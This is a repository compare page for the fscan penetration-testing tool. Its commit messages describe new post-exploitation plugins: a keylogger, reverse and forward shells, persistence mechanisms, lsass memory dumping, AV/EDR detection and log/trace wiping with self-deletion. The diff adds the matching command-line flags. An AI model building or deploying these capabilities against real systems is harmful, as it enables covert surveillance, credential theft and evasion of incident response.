Compare commits

..

31 Commits

Author SHA1 Message Date
ZacharyZcR
c0374a6250 feat: 添加跨平台系统痕迹清理本地插件
- 实现Windows/Linux/macOS三平台痕迹清理功能
- Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存
- Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存
- macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件
- 支持安全文件删除和程序自毁功能
- 采用保守策略避免误删重要文件
2025-08-11 11:51:36 +08:00
ZacharyZcR
25649467c1 feat: 添加跨平台文件下载插件
- 新增downloader本地插件,支持Windows/Linux/Darwin
- 添加-download-url和-download-path命令行参数
- 支持HTTP/HTTPS协议文件下载
- 实现文件大小限制和超时控制
- 支持自动文件名提取和路径权限检查
- 完整的错误处理和资源清理机制
- 集成多语言支持(中英文)
2025-08-11 10:33:16 +08:00
ZacharyZcR
ebe7c631fa fix: 修复Windows键盘记录特殊键识别问题
- 支持识别左右Shift键(VK_LSHIFT/VK_RSHIFT)
- 支持识别左右Ctrl键(VK_LCONTROL/VK_RCONTROL)
- 支持识别左右Alt键(VK_LMENU/VK_RMENU)
- 增加方向键、功能键和基本标点符号支持
- 简化键盘事件处理逻辑提升性能
- 统一字母输出为小写格式
2025-08-11 10:23:46 +08:00
ZacharyZcR
4e237f6bc3 feat: 移除键盘记录时间限制,改为持续记录模式
- 删除-keylog-duration命令行参数和相关配置
- 移除KeyloggerDuration全局变量和时间限制逻辑
- 键盘记录现在持续运行直到程序手动停止
- 更新日志格式为「记录模式: 持续记录」
- 优化用户体验,避免因时间限制导致记录意外中断
- 保持实时文件输出和高性能键盘捕获特性
- 更新插件信息和帮助文档,移除时间相关描述
2025-08-11 09:48:50 +08:00
ZacharyZcR
42522df80c perf: 优化Windows键盘记录性能和实时输出
- 重构键盘Hook架构,采用事件驱动模式降低系统影响
- 实现真正的实时文件写入,支持按键立即同步到磁盘
- 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应
- 使用非阻塞事件通道避免键盘Hook阻塞系统
- 简化键码转换逻辑,提升按键处理性能
- 解决文件输出延迟问题,支持键盘记录过程中实时查看
- 分离平台实现,Windows平台使用高效实时写入模式
2025-08-11 09:36:49 +08:00
ZacharyZcR
c9d07ebd9b feat: 添加跨平台键盘记录本地插件
- 实现Windows键盘Hook机制,支持低级键盘事件捕获
- 实现Linux输入设备监听,支持/dev/input/eventX设备读取
- 实现macOS Core Foundation事件监听,支持CGEventTap
- 添加键盘记录配置参数:-keylog-output和-keylog-duration
- 修复Windows消息循环阻塞问题,改用PeekMessage非阻塞模式
- 支持跨平台键盘输入捕获和文件输出
- 集成到FScan本地插件系统,支持-localplugin keylogger调用
2025-08-11 08:55:01 +08:00
ZacharyZcR
e254d6e333 feat: 添加Windows持久化插件套件
- 新增5个Windows持久化插件:
  * winregistry: Windows注册表持久化(Run键、RunOnce键、Winlogon Shell等)
  * winstartup: Windows启动文件夹持久化(快捷方式、批处理脚本等)
  * winschtask: Windows计划任务持久化(schtasks、XML任务导入)
  * winservice: Windows服务持久化(系统服务、svchost集成)
  * winwmi: Windows WMI事件订阅持久化(事件过滤器、消费者绑定)

- 添加-win-pe参数支持PE文件路径指定
- 完整的参数验证和错误处理
- 支持.exe和.dll文件格式
- 国际化支持(中英文)
- 遵循FScan简化本地插件架构

所有插件已完成测试验证,提供多层次Windows持久化方案
2025-08-11 07:04:22 +08:00
ZacharyZcR
804274ff67 feat: 添加Linux持久化插件套件
- 新增ldpreload插件:通过LD_PRELOAD动态库预加载实现持久化
- 新增shellenv插件:通过修改shell配置文件实现持久化
- 新增crontask插件:通过cron计划任务实现持久化
- 新增systemdservice插件:通过systemd服务实现持久化
- 添加-persistence-file参数支持.elf/.sh文件
- 四种持久化方式覆盖多个持久化向量
- 仅支持Linux平台,包含完善的平台检查
- 集成智能权限管理和错误处理机制
2025-08-11 06:18:15 +08:00
ZacharyZcR
0eef393420 feat: 添加正向Shell本地插件
- 新增forwardshell本地插件,支持跨平台远程Shell访问
- 支持Windows (cmd)、Linux/macOS (/bin/sh) 平台
- 添加-fsh-port参数指定监听端口,默认4444
- 实现并发连接处理和命令超时控制
- 集成生命周期管理,支持长时间运行
- 提供exit命令优雅断开连接
2025-08-11 05:17:39 +08:00
ZacharyZcR
50247ee1e4 chore: 清理未使用的死代码
- 删除plugins/local/connector.go中未使用的GetCommonDirectories和GetSensitiveFiles函数
- 移除整个connector.go文件,因为其只包含死代码
- 通过deadcode工具验证,确保代码库整洁
2025-08-11 04:11:36 +08:00
ZacharyZcR
a86098d6b6 refactor: 重构本地插件架构并支持多平台
- 简化本地插件架构,移除不必要的连接器抽象
- 重构6个本地插件使用统一的简化架构
- 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy)
- 修复插件注册和系统集成
- 优化代码结构和错误处理
2025-08-11 04:10:04 +08:00
ZacharyZcR
1cfb21ed64 refactor: 将auto.json嵌入编译文件中
- 使用Go embed包将AV/EDR规则数据库嵌入到可执行文件
- 移除对外部auto.json文件的依赖
- 提高工具的便携性和独立性
- 将auto.json移动到avdetect插件目录
- 更新loadAVDatabase方法使用嵌入数据
2025-08-10 10:57:31 +08:00
ZacharyZcR
4a33b89738 feat: 添加AV/EDR自动检测本地插件
- 实现基于auto.json规则库的安全软件自动识别
- 支持Windows/Linux/macOS跨平台进程枚举
- 智能匹配算法:精确匹配+模糊匹配
- 风险等级评估:HIGH/MEDIUM/LOW三级分类
- 产品分类:EDR/企业级AV/云安全等类别
- 详细检测报告生成,包含渗透测试建议
- 解决中文系统编码问题,使用PowerShell优化进程获取
- 包含175个安全产品规则,支持主流AV/EDR产品检测
2025-08-10 10:49:36 +08:00
ZacharyZcR
b60a2af424 feat: 添加SOCKS5代理本地插件
- 实现完整的SOCKS5协议支持,包括握手和连接请求处理
- 支持IPv4/IPv6地址和域名解析
- 添加-socks5-port命令行参数用于指定代理端口
- 实现双向数据转发和并发连接处理
- 集成主程序生命周期管理,避免代理运行时程序退出
- 支持跨平台运行(Windows/Linux/macOS)
- 通过curl测试验证代理功能正常
2025-08-10 10:25:51 +08:00
ZacharyZcR
f659a222cd docs: 添加本地插件开发文档和Claude文档目录
- 创建.claude_docs目录用于存储AI助手参考文档
- 更新.gitignore排除Claude文档目录
- 编写详细的本地插件开发指南文档
- 分析fscan本地插件架构和开发模式
- 提供完整的开发流程和最佳实践指导
2025-08-10 10:11:35 +08:00
ZacharyZcR
4729be481e chore: 清理项目多余文件
- 删除所有测试可执行文件 (fscan_*_test.exe等)
- 清理临时开发文件
- 保持项目目录整洁
- 所有多余文件已被gitignore正确排除
2025-08-10 06:20:37 +08:00
ZacharyZcR
fead006830 fix: 修复反弹shell连接冲突导致的秒断问题
- 移除Connect方法中的连通性测试,避免抢占反弹shell连接通道
- 清理未使用的time包导入
- 提高反弹shell连接的稳定性和成功率
2025-08-10 06:06:46 +08:00
ZacharyZcR
551d36b998 fix: 修复反弹shell插件立即退出问题,改为纯Go原生实现
- 添加ReverseShellActive全局状态标志用于控制程序生命周期
- 修改Scanner.go检查活跃反弹shell并阻塞程序退出
- 重写reverseshell插件为纯Go原生TCP实现,移除PowerShell依赖
- 实现原生命令执行和交互式shell会话管理
- 修复多线程异步架构导致的连接立即断开问题
2025-08-10 06:00:13 +08:00
ZacharyZcR
fc6dd50377 feat: 添加跨平台反弹Shell本地插件
新增功能:
- 添加 reverseshell 本地插件,支持 Windows/Linux/macOS 反弹Shell
- 新增 -rsh 命令行参数,用于指定反弹目标地址:端口
- 支持自动生成不同平台的反弹Shell命令
- 集成到现有本地插件架构中

代码重构:
- 清理旧插件架构文件 (Plugins/*.go)
- 统一使用新的模块化插件架构
- 修复 main.go 中的函数调用
- 更新可用插件列表和参数验证

技术细节:
- Windows: PowerShell TCP反弹Shell
- Linux/macOS: Bash TCP反弹Shell
- 支持连接测试和错误处理
- 遵循现有插件架构模式
2025-08-10 05:10:03 +08:00
ZacharyZcR
c72cd25e63 chore: 添加Todo文件到gitignore,忽略所有todo相关文档文件 2025-08-10 04:09:28 +08:00
ZacharyZcR
fbe846068a version: 更新版本号为v2.2.0 2025-08-10 04:07:29 +08:00
ZacharyZcR
e543afacdb enhance: 完善DCInfo本地插件功能,修复GPO和OU检索问题
- 增强域控制器发现机制,支持多种查询方法
- 修复IPv6连接问题,优先使用IPv4连接LDAP
- 完善GPO检索,使用正确的LDAP查询修复7个GPO获取
- 优化OU过滤,减少系统容器噪音,保留重要组织结构
- 增加详细的域信息收集:用户、管理员、计算机详情
- 改进日志输出格式,提供更清晰的域环境分析结果
- 新增本地插件架构支持:fileinfo、minidump、dcinfo统一管理
2025-08-10 01:13:24 +08:00
ZacharyZcR
653a89b737 enhance: 优化minidump插件,支持mimikatz兼容的完整内存转储 2025-08-09 23:48:04 +08:00
ZacharyZcR
a1c82d188b fix: 完全修复minidump插件的稳定性和功能问题
主要修复内容:
- 添加全面的错误处理和panic恢复机制
- 增强Windows API调用的稳定性和调试输出
- 实现双重转储策略: PowerShell系统工具 + Windows API备份
- 修复DLL加载和进程枚举的错误处理
- 优化进程查找算法,提供详细的搜索统计
- 改进权限提升逻辑,允许在失败时继续执行
- 添加comprehensive的日志记录便于问题诊断

现在minidump插件可以稳定运行并成功收集lsass进程信息
2025-08-09 23:14:52 +08:00
ZacharyZcR
a90d9c5bc7 fix: 优化minidump插件错误处理和调试输出
- 添加详细的调试日志,便于问题诊断
- 改进错误消息显示,使用LogError统一格式
- 添加测试模式支持,方便非管理员环境测试
- 增强权限检查和状态反馈机制
2025-08-09 22:53:54 +08:00
ZacharyZcR
a53712a50b feat: 完善本地插件架构和fileinfo插件优化
- 实现本地插件的完整架构迁移到新插件系统
- 修复Go方法绑定问题,确保ScanLocal正确调用
- 优化fileinfo插件过滤逻辑,提升检测精度
- 添加文件大小、深度和数量限制,减少无关结果
- 改进黑白名单匹配规则,聚焦真正敏感文件
- 支持跨平台敏感文件路径检测
2025-08-09 22:48:17 +08:00
ZacharyZcR
eeaa4c3b3a feat: 实现本地插件架构迁移与统一管理
- 新建本地插件统一架构,包含接口定义和基础类
- 实现三个本地插件:fileinfo(文件信息收集)、dcinfo(域控信息收集)、minidump(内存转储)
- 添加-localplugin参数,支持指定单个本地插件执行
- 完善参数验证机制,本地模式必须指定插件
- 集成新插件系统到核心扫描策略
- 修复Go方法调用机制导致的插件执行问题
- 支持跨平台和权限检查功能

支持的本地插件:
- fileinfo: 敏感文件扫描
- dcinfo: Windows域控信息收集
- minidump: lsass进程内存转储

使用方式: fscan -local -localplugin <plugin_name>
2025-08-09 22:43:28 +08:00
ZacharyZcR
4714d27d44 perf: 全面优化GitHub Actions工作流配置
- 修复发布工作流安全问题,仅标签触发发布
- 优化权限配置,最小化权限分配
- 固定Action版本号,确保构建一致性
- 添加路径过滤,避免文档变更触发构建
- 增强缓存策略,加速构建过程
- 调整超时时间,提高构建效率
2025-08-09 21:43:23 +08:00
ZacharyZcR
c64bfe5b2e fix: 优化GitHub Action发布工作流,支持分支构建模式
- 添加dev/develop分支触发条件
- 实现智能构建模式切换:主分支发布,其他分支快照
- 优化构建产物命名和保留策略
- 改进构建报告,区分发布和快照模式
2025-08-09 21:24:10 +08:00
ZacharyZcR
7ac7435885 enhance: 添加常用Web端口到默认扫描列表
- 新增重要Web端口: 3000,8000,8080,8081,8088,8443,8888,9000,9080
- 3000: Node.js开发服务器常用端口
- 8000: Python/Django开发服务器默认端口
- 8080: Tomcat/Jetty等Web服务器常用端口
- 8081: 备用Web服务端口
- 8088: 常见Web应用端口
- 8443: HTTPS备用端口
- 8888: Jupyter Notebook等常用端口
- 9000: 各种Web服务常用端口
- 9080: 企业应用服务器常用端口

配合Web插件智能检测功能,提升Web服务发现能力
2025-08-09 20:02:29 +08:00
ZacharyZcR
fa0f3e92d1 fix: 更新默认端口列表与插件端口保持一致
- 新增关键服务端口: 25,161,465,587,636,3389,61613,61614等
- 添加SMTP邮件服务端口 (25,465,587)
- 添加SNMP网络管理端口 (161)
- 添加RDP远程桌面端口 (3389)
- 添加ActiveMQ消息队列端口 (61613,61614)
- 添加LDAPS和Global Catalog端口 (636,3268,3269)
- 添加VNC远程桌面端口 (5900)
- 添加Neo4j HTTP端口 (7474)
- 添加SSH替代端口 (2200,2222,22222)
- 删除无对应插件的端口 (61616,7001,8000,8005,8009,8080,8089,8443,9000,10051)

现在默认扫描端口完全覆盖所有插件支持的服务
2025-08-09 19:58:30 +08:00
49 changed files with 12315 additions and 1764 deletions

View File

@ -8,8 +8,8 @@ on:
inputs: inputs:
tag: tag:
description: '发布标签' description: '发布标签'
required: true required: false
default: 'v1.0.0' default: ''
draft: draft:
description: '创建草稿发布' description: '创建草稿发布'
type: boolean type: boolean
@ -20,15 +20,13 @@ on:
default: false default: false
permissions: permissions:
contents: write contents: write # 需要写权限用于创建release
issues: write
pull-requests: write
jobs: jobs:
goreleaser: goreleaser:
name: 构建和发布 name: 构建和发布
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 60 timeout-minutes: 45
# 设置作业级别的环境变量 # 设置作业级别的环境变量
env: env:
@ -38,7 +36,7 @@ jobs:
steps: steps:
- name: 📥 检出代码 - name: 📥 检出代码
uses: actions/checkout@v4 uses: actions/checkout@v4.1.1
with: with:
fetch-depth: 0 fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }} token: ${{ secrets.GITHUB_TOKEN }}
@ -48,25 +46,40 @@ jobs:
run: | run: |
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
# 获取标签版本
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "is_tag=true" >> $GITHUB_OUTPUT
echo "branch_or_tag=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境 - name: 🐹 设置 Go 环境
uses: actions/setup-go@v5 uses: actions/setup-go@v5.0.0
with: with:
go-version: '1.20' go-version: '1.20'
cache: true cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖 - name: 📦 下载依赖
run: | run: |
go mod download go mod download
go mod verify go mod verify
- name: 🗜️ 安装 UPX 压缩工具 - name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3 uses: crazy-max/ghaction-upx@v3.0.0
with: with:
install-only: true install-only: true
@ -74,7 +87,8 @@ jobs:
run: | run: |
echo "Go 版本: $(go version)" echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)" echo "UPX 版本: $(upx --version)"
echo "Git 标签: ${{ steps.project.outputs.version }}" echo "发布标签: ${{ steps.project.outputs.branch_or_tag }}"
echo "构建模式: 发布模式"
echo "提交: ${{ steps.project.outputs.short_sha }}" echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}" echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}" echo "构建时间: ${{ steps.project.outputs.build_date }}"
@ -91,7 +105,7 @@ jobs:
- name: 🚀 构建和发布 - name: 🚀 构建和发布
id: build_step id: build_step
uses: goreleaser/goreleaser-action@v5 uses: goreleaser/goreleaser-action@v5.0.0
with: with:
distribution: goreleaser distribution: goreleaser
version: latest version: latest
@ -116,13 +130,13 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传构建产物 - name: 📋 上传构建产物
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4.3.1
if: always() if: always()
with: with:
name: 构建产物-${{ steps.project.outputs.version }} name: 发布产物-${{ steps.project.outputs.version }}
path: | path: |
dist/ dist/
retention-days: 30 retention-days: 90
continue-on-error: true continue-on-error: true
- name: 📊 统计构建产物 - name: 📊 统计构建产物
@ -184,6 +198,7 @@ jobs:
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **构建模式** | 发布模式 |" >> $GITHUB_STEP_SUMMARY
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY
@ -280,6 +295,7 @@ jobs:
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch_or_tag }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY echo "---" >> $GITHUB_STEP_SUMMARY

View File

@ -6,11 +6,31 @@ on:
- dev - dev
- develop - develop
- feature/* - feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request: pull_request:
branches: branches:
- main - main
- master - master
- dev - dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch: workflow_dispatch:
inputs: inputs:
branch: branch:
@ -19,13 +39,13 @@ on:
default: 'dev' default: 'dev'
permissions: permissions:
contents: read contents: read # 只需要读权限用于检出代码
jobs: jobs:
test-build: test-build:
name: 测试构建 name: 测试构建
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 30 timeout-minutes: 20
# 设置作业级别的环境变量 # 设置作业级别的环境变量
env: env:
@ -35,7 +55,7 @@ jobs:
steps: steps:
- name: 📥 检出代码 - name: 📥 检出代码
uses: actions/checkout@v4 uses: actions/checkout@v4.1.1
with: with:
fetch-depth: 0 fetch-depth: 0
ref: ${{ github.event.inputs.branch || github.ref }} ref: ${{ github.event.inputs.branch || github.ref }}
@ -52,18 +72,28 @@ jobs:
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境 - name: 🐹 设置 Go 环境
uses: actions/setup-go@v5 uses: actions/setup-go@v5.0.0
with: with:
go-version: '1.20' go-version: '1.20'
cache: true cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖 - name: 📦 下载依赖
run: | run: |
go mod download go mod download
go mod verify go mod verify
- name: 🗜️ 安装 UPX 压缩工具 - name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3 uses: crazy-max/ghaction-upx@v3.0.0
with: with:
install-only: true install-only: true
@ -87,7 +117,7 @@ jobs:
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 测试构建 (Snapshot 模式) - name: 🚀 测试构建 (Snapshot 模式)
uses: goreleaser/goreleaser-action@v5 uses: goreleaser/goreleaser-action@v5.0.0
with: with:
distribution: goreleaser distribution: goreleaser
version: latest version: latest
@ -108,7 +138,7 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传测试产物 - name: 📋 上传测试产物
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4.3.1
with: with:
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }} name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
path: | path: |

8
.gitignore vendored
View File

@ -62,3 +62,11 @@ __debug_bin*
# Local development tools / 本地开发工具 # Local development tools / 本地开发工具
.air.toml .air.toml
air_tmp/ air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/

View File

@ -63,6 +63,31 @@ var (
Shellcode string Shellcode string
// 反弹Shell相关变量
ReverseShellTarget string
ReverseShellActive bool // 反弹Shell是否处于活跃状态
// SOCKS5代理相关变量
Socks5ProxyPort int // SOCKS5代理监听端口
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
// 正向Shell相关变量
ForwardShellPort int // 正向Shell监听端口
ForwardShellActive bool // 正向Shell是否处于活跃状态
// Linux持久化相关变量
PersistenceTargetFile string // 持久化目标文件路径
// Windows持久化相关变量
WinPEFile string // Windows PE文件路径
// 键盘记录相关变量
KeyloggerOutputFile string // 键盘记录输出文件
// 文件下载相关变量
DownloadURL string // 下载文件的URL
DownloadSavePath string // 下载文件保存路径
// Parse.go 使用的变量 // Parse.go 使用的变量
HostPort []string HostPort []string
URLs []string URLs []string
@ -149,6 +174,7 @@ func Flag(Info *HostInfo) {
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode")) flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
@ -217,6 +243,16 @@ func Flag(Info *HostInfo) {
// 其他参数 // 其他参数
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode")) flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
// 文件下载插件参数
flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数 // 帮助参数
@ -233,6 +269,9 @@ func Flag(Info *HostInfo) {
// 更新进度条显示状态 // 更新进度条显示状态
ShowProgress = !DisableProgress ShowProgress = !DisableProgress
// 同步配置到core包
SyncToCore()
// 如果显示帮助或者没有提供目标,显示帮助信息并退出 // 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) { if showHelp || shouldShowHelp(Info) {
flag.Usage() flag.Usage()
@ -334,7 +373,12 @@ func preProcessLanguage() {
// shouldShowHelp 检查是否应该显示帮助信息 // shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool { func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标 // 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode hasTarget := Info.Host != "" || TargetURL != ""
// 本地模式需要指定插件才算有效目标
if LocalMode && LocalPlugin != "" {
hasTarget = true
}
// 如果没有提供任何扫描目标,则显示帮助 // 如果没有提供任何扫描目标,则显示帮助
if !hasTarget { if !hasTarget {
@ -350,4 +394,35 @@ func checkParameterConflicts() {
if AliveOnly && ScanMode == "icmp" { if AliveOnly && ScanMode == "icmp" {
LogBase(i18n.GetText("param_conflict_ao_icmp_both")) LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
} }
// 检查本地模式和本地插件参数
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
isValid = true
break
}
}
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
os.Exit(1)
}
}
// 如果指定了本地插件但未启用本地模式
if !LocalMode && LocalPlugin != "" {
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
os.Exit(1)
}
} }

View File

@ -13,7 +13,7 @@ Constants.go - 核心常量定义
// 预定义端口组常量 // 预定义端口组常量
var ( var (
